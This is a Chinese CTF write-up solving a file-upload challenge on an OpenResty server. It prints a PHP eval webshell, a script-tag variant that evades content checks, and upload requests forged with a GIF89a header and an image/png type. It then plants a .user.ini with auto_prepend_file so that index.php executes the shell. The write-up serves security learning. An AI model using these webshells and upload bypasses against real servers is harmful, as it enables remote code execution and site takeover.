解题思路
打开靶场,熟悉的文件上传场景
先上一句话木马源码:
<?php
eval($_POST['shell']);
?>
上传php文件显示
上传png后缀php内容文件
过滤了后缀、还有内容检测,那么用脚本语言隐藏:
<script language="php">eval($_POST['shell']);</script>
然后又检测了文件类型、文件内容是否为图片,那么再添加上图片魔术头GIF89a、还有文件类型
Content-Disposition: form-data; name="fileUpload"; filename="1.png"
Content-Type: image/png
GIF89a
<script language="php">eval($_POST['shell']);</script>
成功上传
Your dir uploads/e0cd7c28b74327b3bd1472378bdfbfa2 <br>Your files : <br>array(4) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(5) "1.png"
[3]=>
string(9) "index.php"
}
但是这里只能只上传了Png的马,需要解析漏洞配合。
这里响应包可以发现是Server: openresty ,OpenResty(又称:ngx_openresty) 是一个基于 NGINX 的可伸缩的 Web 平台,那么.htaccess,无法使用了,因为.htaccess面向的是apache。
结合文件夹下面还有index.php提示,这里使用更加全面的.user.ini文件,刚需文件夹下有配合的php文件。
- 利用`auto_prepend_file`:攻击者设置`auto_prepend_file`指向自己上传的文件,那么当任何PHP文件执行时,都会先包含这个上传的文件,从而执行其中的恶意代码。
- 利用`auto_append_file`:同理,设置`auto_append_file`指向上传的文件,那么在每个PHP文件执行后都会包含该文件。
为什么要用`auto_prepend_file`?
- 在某些情况下,`auto_prepend_file`可能比`auto_append_file`更有优势:
1. 如果目标脚本在中间调用了`exit()`或`die()`,那么`auto_append_file`将不会被执行,而`auto_prepend_file`因为是在脚本开始前执行,所以不受影响。
2. 如果恶意代码需要在目标脚本之前运行(比如设置环境、修改全局变量等),那么使用`auto_prepend_file`是必要的。
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/png
GIF89a
auto_prepend_file=1.png
上传成功:
Your dir uploads/e0cd7c28b74327b3bd1472378bdfbfa2 <br>Your files : <br>array(5) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(9) ".user.ini"
[3]=>
string(5) "1.png"
[4]=>
string(9) "index.php"
}
然后我们访问文件夹下的Index.php,可以发现,我们的恶意代码已经被包含,魔术头出来了:
直接用蚁剑连接Index.php
然后根目录下找到
这里还做了定期清理文件的方法,在根目录下可以看到,所以一段时间不传记得重新传文件...
总结
一道基础的结合文件包含的文件上传漏洞,.user.ini其实本质上是文件包含,最后连接的也是本身就存在的index.php,只不过我们的代码被包含进去了